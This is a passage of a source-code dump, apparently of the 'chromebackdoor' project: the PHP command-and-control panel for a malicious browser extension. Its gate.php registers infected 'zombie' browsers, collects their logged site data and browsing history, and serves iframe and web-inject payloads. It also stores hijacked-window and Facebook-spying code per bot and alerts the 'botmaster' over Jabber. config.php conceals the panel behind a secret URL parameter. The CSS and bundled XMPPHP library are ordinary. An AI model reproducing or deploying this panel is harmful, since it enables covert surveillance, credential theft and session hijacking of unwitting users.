69 | $delete->bindParam(':id', $p_id);
70 | $delete->execute();
71 | return true;
72 | }
73 |
74 | }
75 | return false;
76 | }
77 | }
78 | ?>
--------------------------------------------------------------------------------
/backdoor/web/class/users.class.php:
--------------------------------------------------------------------------------
1 | prepare("SELECT * FROM utilisateurs WHERE username = :username AND password = :password");
14 | $select_users->bindParam(':username', $username);
15 | $select_users->bindParam(':password', $password);
16 | $select_users->execute();
17 |
18 | $fetch = $select_users->fetch();
19 | if($fetch['username'] != '')
20 | {
21 | $_SESSION['username'] = $fetch['username'];
22 | $this->status = "";
23 | }
24 | else
25 | $this->status = "Login failed .
";
26 | }
27 | }
--------------------------------------------------------------------------------
/backdoor/web/css/styles.css:
--------------------------------------------------------------------------------
1 | .main {
2 | margin-top: 10px;
3 | margin-left: auto;
4 | margin-right: auto;
5 | width 900px;
6 | }
7 | .logo
8 | {
9 | background-size: 100px 74px;
10 | background-image: url('../images/logo.png');
11 | height: 70px;
12 | background-repeat: no-repeat;
13 | text-align: center;
14 | margin-left: auto;
15 | margin-right: auto;
16 | width: 100px;
17 | }
18 | .loginform {
19 | margin-left: auto;
20 | margin-right: auto;
21 | width: 500px;
22 | text-align: center;
23 | margin-top: 30px;
24 | min-height: 100px;
25 | }
26 |
27 | .command
28 | {
29 | width: 100%;
30 | margin-bottom: 20px;
31 | }
32 |
33 | .zombie{
34 | text-decoration: none;
35 | color: firebrick;
36 | }
37 |
38 | .capture{
39 | width:300px;
40 | }
41 |
42 | .uform {
43 | padding-left: 5px;
44 | width: 100%;
45 | height: 30px;
46 | background-color: white;
47 | margin-top: 5px;
48 | }
49 |
50 | .status{
51 | width: 20px;
52 | height: 20px;
53 | }
54 |
55 | .sform
56 | {
57 | width: 50%;
58 | margin-top: 10px;
59 | background-color: white;
60 | border: 1px solid rgba(128, 128, 128, 0.48);
61 | }
62 |
63 | .alertr
64 | {
65 | width: 500px;
66 | margin-left: auto;
67 | margin-right: auto;
68 | margin-top: 10px;
69 | height: 30px;
70 | text-align: center;
71 | padding-top: 10px;
72 | background-color: #c0392b;
73 | }
74 |
75 | .alertg
76 | {
77 | width: 500px;
78 | margin-left: auto;
79 | margin-right: auto;
80 | margin-top: 10px;
81 | height: 30px;
82 | text-align: center;
83 | padding-top: 10px;
84 | background-color: #27ae60
85 | }
86 |
87 | .panel {
88 | width: 1000px;
89 | margin-left: auto;
90 | margin-right: auto;
91 | margin-top: 15px;
92 | }
93 |
94 | .formlog {
95 | border:0px;
96 | }
97 |
98 | .conversationActuel {
99 | padding-bottom: 10px;
100 | max-width: 700px;
101 | width: 100%;
102 | border: 1px solid #0F4098;
103 | margin-left: auto;
104 | margin-right: auto;
105 | max-height: 400px;
106 | overflow: scroll;
107 | }
108 | .message{
109 | padding-top: 10px;
110 | height: 40px;
111 | margin-bottom: 10px;
112 | padding-left: 10px;
113 | padding-right: 10px;
114 | }
115 | .nameTitle {
116 | background-color: #4E69A2;
117 | height: 30px;
118 | color: white;
119 | padding: 4px;
120 | border-bottom: 1px solid black;
121 | margin-bottom: 5px;
122 | }
123 |
124 | .clear{
125 | clear: both;
126 | }
127 |
128 | .message-right {
129 | font-size: 12px;
130 | padding-top: 5px;
131 | line-height: 15px;
132 | }
133 |
134 | .message-left {
135 | float: left;
136 | width: 45px;
137 | margin-right: 0px;
138 | }
139 |
140 | .oldmessage {
141 | display: none;
142 | }
143 | .message-left img{
144 | width: 40px;
145 | }
146 |
147 | .message-rightOwner {
148 | float: left;
149 | text-align: right;
150 | width: 92%;
151 | padding-top: 5px;
152 | font-size: 12px;
153 | }
154 |
155 | .message-leftOwner {
156 | float: right;
157 | }
158 |
159 | .message-leftOwner img{
160 | width: 40px;
161 | }
162 |
163 | .loading {
164 | display: block;
165 | background-image: url('../images/loading.gif');
166 | height: 25px;
167 | background-repeat: no-repeat;
168 | background-size: 25px;
169 | text-align: center;
170 | width: 100%;
171 | background-position: center;
172 | }
173 |
174 | .windowCurrent {
175 | border: 1px solid #DEDEDE;
176 | height: 500px;
177 | max-width: 720px;
178 | }
179 |
180 | .windowCurrent img{
181 | max-width: 710px;
182 | height: 500px;
183 | }
184 |
185 | .captureWindow {
186 | max-width: 700px !important;
187 | }
188 |
--------------------------------------------------------------------------------
/backdoor/web/gate.php:
--------------------------------------------------------------------------------
1 | prepare("INSERT INTO logs_checker(url_site,logs_site,zombie) VALUES(:url_site, :logs_site, :zombie)");
12 | $insert->bindParam(':url_site', $url_check);
13 | $insert->bindParam(':logs_site', $info);
14 | $insert->bindParam(':zombie', $z_name);
15 | $insert->execute();
16 |
17 |
18 | $select = $bdd->prepare('SELECT * FROM bots WHERE name = :name');
19 | $select->bindParam(':name', $z_name);
20 | $select->execute();
21 | $result = $select->fetch();
22 | if($result['name'] != ''){
23 | $update = $bdd->prepare("UPDATE bots SET numbers_logs = numbers_logs + 1 WHERE name = :name");
24 | $update->bindParam(':name', $z_name);
25 | $update->execute();
26 | }
27 | $select_jabber = $bdd->prepare("SELECT * FROM settings");
28 | $select_jabber->execute();
29 | $fetch_jabber = $select_jabber->fetch();
30 | if($fetch_jabber['jabber_username'] != ''){
31 | $message = "News logs from ".$url_check;
32 | SendJabber($fetch_jabber['jabber_username'], $fetch_jabber['jabber_password'], $fetch_jabber['jabber_to'], $message);
33 | }
34 | }
35 | elseif(isset($_GET['iframe']) && $_GET['iframe'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){
36 | $zombie = $_GET['zombie'];
37 | $object = "iframe";
38 |
39 | $select = $bdd->prepare("SELECT * FROM bot_settings WHERE setting_name = :setting_name AND bot_id = :bot_id AND available = '1'");
40 | $select->bindParam(':setting_name', $object);
41 | $select->bindParam(':bot_id', $zombie);
42 | $select->execute();
43 | $result = $select->fetch();
44 | if($result['setting_value'] != ''){
45 | echo trim($result['setting_value']);
46 | return true;
47 | }
48 | return false;
49 | }
50 | elseif(isset($_GET['history']) && $_GET['history'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){
51 | $history = $_GET['history'];
52 | $zombie = $_GET['zombie'];
53 | $time = date('d-m-Y');
54 |
55 |
56 | $select = $bdd->prepare("SELECT * FROM history_web WHERE website = :website AND zombie = :zombie");
57 | $select->bindParam(':website', $history);
58 | $select->bindParam(':zombie', $zombie);
59 | $select->execute();
60 | $result = $select->fetch();
61 | if($result['website'] != ''){
62 | exit(1);
63 | }
64 |
65 | $insert = $bdd->prepare("INSERT INTO history_web(website, zombie, timevisit) VALUES(:website, :zombie, :time)");
66 | $insert->bindParam(':website', $history);
67 | $insert->bindParam(':zombie', $zombie);
68 | $insert->bindParam(':time', $time);
69 | $insert->execute();
70 | }
71 | elseif(isset($_GET['last']) && $_GET['last'] != '')
72 | {
73 | $select_last = $bdd->prepare("SELECT * FROM logs_checker WHERE last = '0' ORDER BY id DESC LIMIT 0,1");
74 | $select_last->execute();
75 |
76 | $fetch = $select_last->fetch();
77 | if($fetch['id'] != '')
78 | {
79 | $end = "Url : ".$fetch['url_site']."\nLogs : ".$fetch['logs_site'];
80 |
81 | $update = $bdd->prepare("UPDATE logs_checker SET last = '1' WHERE id = :id");
82 | $id = $fetch['id'];
83 | $update->bindParam(':id', $id);
84 | $update->execute();
85 | echo $end;
86 | }
87 | }
88 | elseif(isset($_GET['add']) && $_GET['add'] != '' && isset($_GET['version']) && $_GET['version'] != '')
89 | {
90 | $zombie_name = $_GET['add'];
91 | $backdoor_name = $_GET['version'];
92 | $check = $bdd->prepare("SELECT * FROM bots WHERE name =:name");
93 | $check->bindParam(':name', $zombie_name);
94 | $check->execute();
95 | $result = $check->fetch();
96 | if($result['name'] == ''){
97 | $insert = $bdd->prepare("INSERT INTO bots(name,backdoor_name) VALUES(:name, :backdoor_name)");
98 | $insert->bindParam(':name', $zombie_name);
99 | $insert->bindParam(':backdoor_name', $backdoor_name);
100 | $insert->execute();
101 | }
102 | }
103 | elseif(isset($_GET['online']) && $_GET['online'] != ''){
104 | $zombie = $_GET['online'];
105 | $online = $bdd->prepare("UPDATE bots SET online = '1' WHERE name = :name");
106 | $online->bindParam(':name', $zombie);
107 | $online->execute();
108 | }
109 | elseif(isset($_GET['webinject']) && $_GET['webinject'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){
110 | WebInject::show_inject($_GET['webinject']);
111 | }
112 | elseif(isset($_GET['source_spy']) && $_GET['source_spy'] != ''){
113 | $select = $bdd->prepare("SELECT * FROM facebookspy WHERE bot_id = :id");
114 | $select->bindParam(':id', $_GET['source_spy']);
115 | $select->execute();
116 | if($select->rowCount() > 0){
117 | $fetch = $select->fetch();
118 | if($fetch['source_code'] != ''){
119 | echo base64_decode($fetch['source_code']);
120 | }
121 | }
122 | }
123 | elseif(isset($_POST['add_source_spy']) && $_POST['add_source_spy'] != '' && isset($_POST['z_name']) && $_POST['z_name'] != ''){
124 | $select_id = $bdd->prepare("SELECT id FROM bots WHERE name = :name");
125 | $select_id->bindParam(':name', $_POST['z_name']);
126 | $select_id->execute();
127 | if($select_id->rowCount() > 0){
128 | $fetch = $select_id->fetch();
129 | $ids = $fetch['id'];
130 | $select = $bdd->prepare("SELECT * FROM facebookspy WHERE bot_id = :id");
131 | $select->bindParam(':id', $ids);
132 | $select->execute();
133 | $date_last = date('d-m-Y');
134 | if($select->rowCount() > 0){
135 | $update = $bdd->prepare("UPDATE facebookspy SET source_code = :source_code,date_last = :date_last WHERE bot_id = :bot_id");
136 | $update->bindParam(':source_code', $_POST['add_source_spy']);
137 | $update->bindParam(':bot_id', $ids);
138 | $update->bindParam(':date_last', $date_last);
139 | $update->execute();
140 | }
141 | else{
142 | $insert = $bdd->prepare("INSERT INTO facebookspy(bot_id,source_code,date_last) VALUES(:bot_id, :source_code,:date_last)");
143 | $insert->bindParam(':bot_id', $ids);
144 | $insert->bindParam(':source_code', $_POST['add_source_spy']);
145 | $insert->bindParam(':date_last', $date_last);
146 | $insert->execute();
147 | }
148 | }
149 | }
150 | elseif(isset($_POST['source']) && $_POST['source'] != '' && isset($_POST['z_name']) && $_POST['z_name'] != ''){
151 |
152 | $select_id = $bdd->prepare("SELECT id FROM bots WHERE name = :name");
153 | $select_id->bindParam(':name', $_POST['z_name']);
154 | $select_id->execute();
155 | if($select_id->rowCount() > 0){
156 | $ids = $select_id->fetch()['id'];
157 | $select = $bdd->prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
158 | $select->bindParam(':bot_id', $ids);
159 | $select->execute();
160 | if($select->rowCount() < 1){
161 | $insert = $bdd->prepare("INSERT INTO hijacking_window(bot_id,windows_code) VALUES(:bot_id, :source)");
162 | $insert->bindParam(':bot_id', $ids);
163 | $insert->bindParam(':source', $_POST['source']);
164 | $insert->execute();
165 | }
166 | else{
167 | $update = $bdd->prepare("UPDATE hijacking_window SET windows_code = :source WHERE bot_id = :bot_id");
168 | $update->bindParam(':source', $_POST['source']);
169 | $update->bindParam(':bot_id', $ids);
170 | $update->execute();
171 | }
172 | }
173 | }
174 | elseif(isset($_GET['hijack_source']) && $_GET['hijack_source'] != '' && isset($_GET['id']) && $_GET['id'] != '')
175 | {
176 | $select = $bdd->prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
177 | $select->bindParam(':bot_id', $_GET['id']);
178 | $select->execute();
179 | if($select->rowCount() > 0){
180 | $fetch = $select->fetch();
181 | echo $fetch['windows_code'];
182 | }
183 | }
184 | ?>
--------------------------------------------------------------------------------
/backdoor/web/images/loading.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/loading.gif
--------------------------------------------------------------------------------
/backdoor/web/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/logo.png
--------------------------------------------------------------------------------
/backdoor/web/images/offline.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/offline.png
--------------------------------------------------------------------------------
/backdoor/web/images/online.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/online.png
--------------------------------------------------------------------------------
/backdoor/web/includes/config.php:
--------------------------------------------------------------------------------
1 | __VERSION__){
8 | echo "New version available on : https://github.com/graniet/chromebackdoor/
";
9 | exit(1);
10 | }
11 | }
12 |
13 | function hide(){
14 | global $bdd;
15 | $select = $bdd->prepare("SELECT * FROM settings");
16 | $select->execute();
17 | if($select->rowCount() > 0){
18 | $result = $select->fetch();
19 | if($result['hide_panel'] == '1' && $result['get_name'] != '' && $result['get_value'] != '' && !isset($_SESSION['username']) && !isset($_POST['login'])){
20 | if(!isset($_GET[$result['get_name']]) || $_GET[$result['get_name']] != $result['get_value']){
21 | exit();
22 | }
23 | }
24 | }
25 | }
26 |
27 | function right_user($username){
28 | global $bdd;
29 | $logs_right = array(0 => array('all'),
30 | 1 => array('panel'),
31 | 2 => array(''));
32 | $select = $bdd->prepare("SELECT * FROM utilisateurs WHERE username = :username");
33 | $select->bindParam(':username', $username);
34 | $select->execute();
35 | if($select->rowCount() > 0){
36 | $fetch = $select->fetch();
37 | if($fetch['username'] == $username){
38 | $droit = $fetch['roles'];
39 | if(isset($logs_right[$droit]) && $logs_right[$droit][0] != 'all'){
40 | if(!in_array($_GET['action'], $logs_right[$droit])){
41 | echo "Forbiden contact botmaster";
42 | exit(1);
43 | }
44 | }
45 | }
46 | }
47 | }
48 |
49 | function SendJabber($jabber_username, $jabber_password, $jabber_to, $message){
50 | require_once "lib/XMPPHP/XMPP.php";
51 | $username = explode('@', $jabber_username);
52 | $conn = new XMPPHP_XMPP($username[1], 5222, $username[0], 'testtest31', 'ChromeBackdoor', $username[1], $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);
53 | $conn->connect();
54 | $conn->processUntil('session_start');
55 | $conn->presence();
56 | $conn->message($jabber_to, $message);
57 | $conn->disconnect();
58 | }
59 | ?>
60 |
--------------------------------------------------------------------------------
/backdoor/web/index.php:
--------------------------------------------------------------------------------
1 |
6 |
7 |
8 | Chrome Panel
9 |
10 |
11 |
12 |
13 |
14 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/backdoor/web/inject.js:
--------------------------------------------------------------------------------
1 | function Logout(){
2 | console.log('Bot unlogged')
3 | $.get('class/bot_logout.php');
4 | }
5 | setInterval(Logout,100000);
--------------------------------------------------------------------------------
/backdoor/web/lib/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/lib/.DS_Store
--------------------------------------------------------------------------------
/backdoor/web/lib/XMPPHP/BOSH.php:
--------------------------------------------------------------------------------
1 |
25 | * @author Stephan Wentz
26 | * @author Michael Garvin
27 | * @copyright 2008 Nathanael C. Fritz
28 | */
29 | /** XMPPHP_XMLStream */
30 | require_once dirname(__FILE__) . "/XMPP.php";
31 |
32 | /**
33 | * XMPPHP Main Class
34 | *
35 | * @category xmpphp
36 | * @package XMPPHP
37 | * @author Nathanael C. Fritz
38 | * @author Stephan Wentz
39 | * @author Michael Garvin
40 | * @copyright 2008 Nathanael C. Fritz
41 | * @version $Id$
42 | */
43 | class XMPPHP_BOSH extends XMPPHP_XMPP {
44 |
45 | protected $rid;
46 | protected $sid;
47 | protected $http_server;
48 | protected $http_buffer = Array();
49 | protected $session = false;
50 |
51 | public function connect($server, $wait='1', $session=false) {
52 | $this->http_server = $server;
53 | $this->use_encryption = false;
54 | $this->session = $session;
55 |
56 | $this->rid = 3001;
57 | $this->sid = null;
58 | if ($session) {
59 | $this->loadSession();
60 | }
61 | if (!$this->sid) {
62 | $body = $this->__buildBody();
63 | $body->addAttribute('hold', '1');
64 | $body->addAttribute('to', $this->host);
65 | $body->addAttribute('route', "xmpp:{$this->host}:{$this->port}");
66 | $body->addAttribute('secure', 'true');
67 | $body->addAttribute('xmpp:version', '1.6', 'urn:xmpp:xbosh');
68 | $body->addAttribute('wait', strval($wait));
69 | $body->addAttribute('ack', '1');
70 | $body->addAttribute('xmlns:xmpp', 'urn:xmpp:xbosh');
71 | $buff = "";
72 | xml_parse($this->parser, $buff, false);
73 | $response = $this->__sendBody($body);
74 | $rxml = new SimpleXMLElement($response);
75 | $this->sid = $rxml['sid'];
76 | } else {
77 | $buff = "";
78 | xml_parse($this->parser, $buff, false);
79 | }
80 | }
81 |
82 | public function __sendBody($body=null, $recv=true) {
83 | if (!$body) {
84 | $body = $this->__buildBody();
85 | }
86 | $ch = curl_init($this->http_server);
87 | curl_setopt($ch, CURLOPT_HEADER, 0);
88 | curl_setopt($ch, CURLOPT_POST, 1);
89 | curl_setopt($ch, CURLOPT_POSTFIELDS, $body->asXML());
90 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
91 | $header = array('Accept-Encoding: gzip, deflate', 'Content-Type: text/xml; charset=utf-8');
92 | curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
93 | curl_setopt($ch, CURLOPT_VERBOSE, 0);
94 | $output = '';
95 | if ($recv) {
96 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
97 | $output = curl_exec($ch);
98 | $this->http_buffer[] = $output;
99 | }
100 | curl_close($ch);
101 | return $output;
102 | }
103 |
104 | public function __buildBody($sub=null) {
105 | $xml = new SimpleXMLElement("");
106 | $xml->addAttribute('content', 'text/xml; charset=utf-8');
107 | $xml->addAttribute('rid', $this->rid);
108 | $this->rid += 1;
109 | if ($this->sid)
110 | $xml->addAttribute('sid', $this->sid);
111 | #if($this->sid) $xml->addAttribute('xmlns', 'http://jabber.org/protocol/httpbind');
112 | $xml->addAttribute('xml:lang', 'en');
113 | if ($sub) { // ok, so simplexml is lame
114 | $p = dom_import_simplexml($xml);
115 | $c = dom_import_simplexml($sub);
116 | $cn = $p->ownerDocument->importNode($c, true);
117 | $p->appendChild($cn);
118 | $xml = simplexml_import_dom($p);
119 | }
120 | return $xml;
121 | }
122 |
123 | public function __process() {
124 | if ($this->http_buffer) {
125 | $this->__parseBuffer();
126 | } else {
127 | $this->__sendBody();
128 | $this->__parseBuffer();
129 | }
130 | }
131 |
132 | public function __parseBuffer() {
133 | while ($this->http_buffer) {
134 | $idx = key($this->http_buffer);
135 | $buffer = $this->http_buffer[$idx];
136 | unset($this->http_buffer[$idx]);
137 | if ($buffer) {
138 | $xml = new SimpleXMLElement($buffer);
139 | $children = $xml->xpath('child::node()');
140 | foreach ($children as $child) {
141 | $buff = $child->asXML();
142 | $this->log->log("RECV: $buff", XMPPHP_Log::LEVEL_VERBOSE);
143 | xml_parse($this->parser, $buff, false);
144 | }
145 | }
146 | }
147 | }
148 |
149 | public function send($msg) {
150 | $this->log->log("SEND: $msg", XMPPHP_Log::LEVEL_VERBOSE);
151 | $msg = new SimpleXMLElement($msg);
152 | #$msg->addAttribute('xmlns', 'jabber:client');
153 | $this->__sendBody($this->__buildBody($msg), true);
154 | #$this->__parseBuffer();
155 | }
156 |
157 | public function reset() {
158 | $this->xml_depth = 0;
159 | unset($this->xmlobj);
160 | $this->xmlobj = array();
161 | $this->setupParser();
162 | #$this->send($this->stream_start);
163 | $body = $this->__buildBody();
164 | $body->addAttribute('to', $this->host);
165 | $body->addAttribute('xmpp:restart', 'true', 'urn:xmpp:xbosh');
166 | $buff = "";
167 | $response = $this->__sendBody($body);
168 | $this->been_reset = true;
169 | xml_parse($this->parser, $buff, false);
170 | }
171 |
172 | public function loadSession() {
173 | if (isset($_SESSION['XMPPHP_BOSH_RID']))
174 | $this->rid = $_SESSION['XMPPHP_BOSH_RID'];
175 | if (isset($_SESSION['XMPPHP_BOSH_SID']))
176 | $this->sid = $_SESSION['XMPPHP_BOSH_SID'];
177 | if (isset($_SESSION['XMPPHP_BOSH_authed']))
178 | $this->authed = $_SESSION['XMPPHP_BOSH_authed'];
179 | if (isset($_SESSION['XMPPHP_BOSH_jid']))
180 | $this->jid = $_SESSION['XMPPHP_BOSH_jid'];
181 | if (isset($_SESSION['XMPPHP_BOSH_fulljid']))
182 | $this->fulljid = $_SESSION['XMPPHP_BOSH_fulljid'];
183 | }
184 |
185 | public function saveSession() {
186 | $_SESSION['XMPPHP_BOSH_RID'] = (string) $this->rid;
187 | $_SESSION['XMPPHP_BOSH_SID'] = (string) $this->sid;
188 | $_SESSION['XMPPHP_BOSH_authed'] = (boolean) $this->authed;
189 | $_SESSION['XMPPHP_BOSH_jid'] = (string) $this->jid;
190 | $_SESSION['XMPPHP_BOSH_fulljid'] = (string) $this->fulljid;
191 | }
192 |
193 | }
194 |
--------------------------------------------------------------------------------
/backdoor/web/lib/XMPPHP/Exception.php:
--------------------------------------------------------------------------------
1 |
25 | * @author Stephan Wentz
26 | * @author Michael Garvin
27 | * @copyright 2008 Nathanael C. Fritz
28 | */
29 |
30 | /**
31 | * XMPPHP Exception
32 | *
33 | * @category xmpphp
34 | * @package XMPPHP
35 | * @author Nathanael C. Fritz
36 | * @author Stephan Wentz
37 | * @author Michael Garvin
38 | * @copyright 2008 Nathanael C. Fritz
39 | * @version $Id$
40 | */
41 | class XMPPHP_Exception extends Exception {
42 |
43 | }
44 |
--------------------------------------------------------------------------------
/backdoor/web/lib/XMPPHP/Log.php:
--------------------------------------------------------------------------------
1 |
25 | * @author Stephan Wentz
26 | * @author Michael Garvin
27 | * @copyright 2008 Nathanael C. Fritz
28 | */
29 |
30 | /**
31 | * XMPPHP Log
32 | *
33 | * @package XMPPHP
34 | * @author Nathanael C. Fritz
35 | * @author Stephan Wentz
36 | * @author Michael Garvin
37 | * @copyright 2008 Nathanael C. Fritz
38 | * @version $Id$
39 | */
40 | class XMPPHP_Log {
41 | const LEVEL_ERROR = 0;
42 | const LEVEL_WARNING = 1;
43 | const LEVEL_INFO = 2;
44 | const LEVEL_DEBUG = 3;
45 | const LEVEL_VERBOSE = 4;
46 |
47 | /**
48 | * @var array
49 | */
50 | protected $data = array();
51 | /**
52 | * @var array
53 | */
54 | protected $names = array('ERROR', 'WARNING', 'INFO', 'DEBUG', 'VERBOSE');
55 | /**
56 | * @var integer
57 | */
58 | protected $runlevel;
59 | /**
60 | * @var boolean
61 | */
62 | protected $printout;
63 |
64 | /**
65 | * Constructor
66 | *
67 | * @param boolean $printout
68 | * @param string $runlevel
69 | */
70 | public function __construct($printout = false, $runlevel = self::LEVEL_INFO) {
71 | $this->printout = (boolean) $printout;
72 | $this->runlevel = (int) $runlevel;
73 | }
74 |
75 | /**
76 | * Add a message to the log data array
77 | * If printout in this instance is set to true, directly output the message
78 | *
79 | * @param string $msg
80 | * @param integer $runlevel
81 | */
82 | public function log($msg, $runlevel = self::LEVEL_INFO) {
83 | $time = time();
84 | #$this->data[] = array($this->runlevel, $msg, $time);
85 | if ($this->printout and $runlevel <= $this->runlevel) {
86 | $this->writeLine($msg, $runlevel, $time);
87 | }
88 | }
89 |
90 | /**
91 | * Output the complete log.
92 | * Log will be cleared if $clear = true
93 | *
94 | * @param boolean $clear
95 | * @param integer $runlevel
96 | */
97 | public function printout($clear = true, $runlevel = null) {
98 | if ($runlevel === null) {
99 | $runlevel = $this->runlevel;
100 | }
101 | foreach ($this->data as $data) {
102 | if ($runlevel <= $data[0]) {
103 | $this->writeLine($data[1], $runlevel, $data[2]);
104 | }
105 | }
106 | if ($clear) {
107 | $this->data = array();
108 | }
109 | }
110 |
111 | protected function writeLine($msg, $runlevel, $time) {
112 | //echo date('Y-m-d H:i:s', $time)." [".$this->names[$runlevel]."]: ".$msg."\n";
113 | echo $time . " [" . $this->names[$runlevel] . "]: " . $msg . "\n";
114 | flush();
115 | }
116 |
117 | }
118 |
--------------------------------------------------------------------------------
/backdoor/web/lib/XMPPHP/Roster.php:
--------------------------------------------------------------------------------
1 |
25 | * @author Stephan Wentz
26 | * @author Michael Garvin
27 | * @copyright 2008 Nathanael C. Fritz
28 | */
29 |
30 | /**
31 | * XMPPHP Roster Object
32 | *
33 | * @category xmpphp
34 | * @package XMPPHP
35 | * @author Nathanael C. Fritz
36 | * @author Stephan Wentz
37 | * @author Michael Garvin
38 | * @copyright 2008 Nathanael C. Fritz
39 | * @version $Id$
40 | */
41 | class Roster {
42 |
43 | /**
44 | * Roster array, handles contacts and presence. Indexed by jid.
45 | * Contains array with potentially two indexes 'contact' and 'presence'
46 | * @var array
47 | */
48 | protected $roster_array = array();
49 |
50 | /**
51 | * Constructor
52 | *
53 | */
54 | public function __construct($roster_array = array()) {
55 | if ($this->verifyRoster($roster_array)) {
56 | $this->roster_array = $roster_array; //Allow for prepopulation with existing roster
57 | } else {
58 | $this->roster_array = array();
59 | }
60 | }
61 |
62 | /**
63 | *
64 | * Check that a given roster array is of a valid structure (empty is still valid)
65 | *
66 | * @param array $roster_array
67 | */
68 | protected function verifyRoster($roster_array) {
69 | #TODO once we know *what* a valid roster array looks like
70 | return True;
71 | }
72 |
73 | /**
74 | *
75 | * Add given contact to roster
76 | *
77 | * @param string $jid
78 | * @param string $subscription
79 | * @param string $name
80 | * @param array $groups
81 | */
82 | public function addContact($jid, $subscription, $name='', $groups=array()) {
83 | $contact = array('jid' => $jid, 'subscription' => $subscription, 'name' => $name, 'groups' => $groups);
84 | if ($this->isContact($jid)) {
85 | $this->roster_array[$jid]['contact'] = $contact;
86 | } else {
87 | $this->roster_array[$jid] = array('contact' => $contact);
88 | }
89 | }
90 |
91 | /**
92 | *
93 | * Retrieve contact via jid
94 | *
95 | * @param string $jid
96 | */
97 | public function getContact($jid) {
98 | if ($this->isContact($jid)) {
99 | return $this->roster_array[$jid]['contact'];
100 | }
101 | }
102 |
103 | /**
104 | *
105 | * Discover if a contact exists in the roster via jid
106 | *
107 | * @param string $jid
108 | */
109 | public function isContact($jid) {
110 | return (array_key_exists($jid, $this->roster_array));
111 | }
112 |
113 | /**
114 | *
115 | * Set presence
116 | *
117 | * @param string $presence
118 | * @param integer $priority
119 | * @param string $show
120 | * @param string $status
121 | */
122 | public function setPresence($presence, $priority, $show, $status) {
123 | list($jid, $resource) = split("/", $presence);
124 | if ($show != 'unavailable') {
125 | if (!$this->isContact($jid)) {
126 | $this->addContact($jid, 'not-in-roster');
127 | }
128 | $resource = $resource ? $resource : '';
129 | $this->roster_array[$jid]['presence'][$resource] = array('priority' => $priority, 'show' => $show, 'status' => $status);
130 | } else { //Nuke unavailable resources to save memory
131 | unset($this->roster_array[$jid]['resource'][$resource]);
132 | }
133 | }
134 |
135 | /*
136 | *
137 | * Return best presence for jid
138 | *
139 | * @param string $jid
140 | */
141 |
142 | public function getPresence($jid) {
143 | $split = split("/", $jid);
144 | $jid = $split[0];
145 | if ($this->isContact($jid)) {
146 | $current = array('resource' => '', 'active' => '', 'priority' => -129, 'show' => '', 'status' => ''); //Priorities can only be -128 = 127
147 | foreach ($this->roster_array[$jid]['presence'] as $resource => $presence) {
148 | //Highest available priority or just highest priority
149 | if ($presence['priority'] > $current['priority'] and (($presence['show'] == "chat" or $presence['show'] == "available") or ($current['show'] != "chat" or $current['show'] != "available"))) {
150 | $current = $presence;
151 | $current['resource'] = $resource;
152 | }
153 | }
154 | return $current;
155 | }
156 | }
157 |
158 | /**
159 | *
160 | * Get roster
161 | *
162 | */
163 | public function getRoster() {
164 | return $this->roster_array;
165 | }
166 |
167 | }
168 |
169 | ?>
170 |
--------------------------------------------------------------------------------
/backdoor/web/lib/XMPPHP/XMLObj.php:
--------------------------------------------------------------------------------
1 |
25 | * @author Stephan Wentz
26 | * @author Michael Garvin
27 | * @copyright 2008 Nathanael C. Fritz
28 | */
29 |
30 | /**
31 | * XMPPHP XML Object
32 | *
33 | * @category xmpphp
34 | * @package XMPPHP
35 | * @author Nathanael C. Fritz
36 | * @author Stephan Wentz
37 | * @author Michael Garvin
38 | * @copyright 2008 Nathanael C. Fritz
39 | * @version $Id$
40 | */
41 | class XMPPHP_XMLObj {
42 |
43 | /**
44 | * Tag name
45 | *
46 | * @var string
47 | */
48 | public $name;
49 | /**
50 | * Namespace
51 | *
52 | * @var string
53 | */
54 | public $ns;
55 | /**
56 | * Attributes
57 | *
58 | * @var array
59 | */
60 | public $attrs = array();
61 | /**
62 | * Subs?
63 | *
64 | * @var array
65 | */
66 | public $subs = array();
67 | /**
68 | * Node data
69 | *
70 | * @var string
71 | */
72 | public $data = '';
73 |
74 | /**
75 | * Constructor
76 | *
77 | * @param string $name
78 | * @param string $ns
79 | * @param array $attrs
80 | * @param string $data
81 | */
82 | public function __construct($name, $ns = '', $attrs = array(), $data = '') {
83 | $this->name = strtolower($name);
84 | $this->ns = $ns;
85 | if (is_array($attrs) && count($attrs)) {
86 | foreach ($attrs as $key => $value) {
87 | $this->attrs[strtolower($key)] = $value;
88 | }
89 | }
90 | $this->data = $data;
91 | }
92 |
93 | /**
94 | * Dump this XML Object to output.
95 | *
96 | * @param integer $depth
97 | */
98 | public function printObj($depth = 0) {
99 | print str_repeat("\t", $depth) . $this->name . " " . $this->ns . ' ' . $this->data;
100 | print "\n";
101 | foreach ($this->subs as $sub) {
102 | $sub->printObj($depth + 1);
103 | }
104 | }
105 |
106 | /**
107 | * Return this XML Object in xml notation
108 | *
109 | * @param string $str
110 | */
111 | public function toString($str = '') {
112 | $str .= "<{$this->name} xmlns='{$this->ns}' ";
113 | foreach ($this->attrs as $key => $value) {
114 | if ($key != 'xmlns') {
115 | $value = htmlspecialchars($value);
116 | $str .= "$key='$value' ";
117 | }
118 | }
119 | $str .= ">";
120 | foreach ($this->subs as $sub) {
121 | $str .= $sub->toString();
122 | }
123 | $body = htmlspecialchars($this->data);
124 | $str .= "$body{$this->name}>";
125 | return $str;
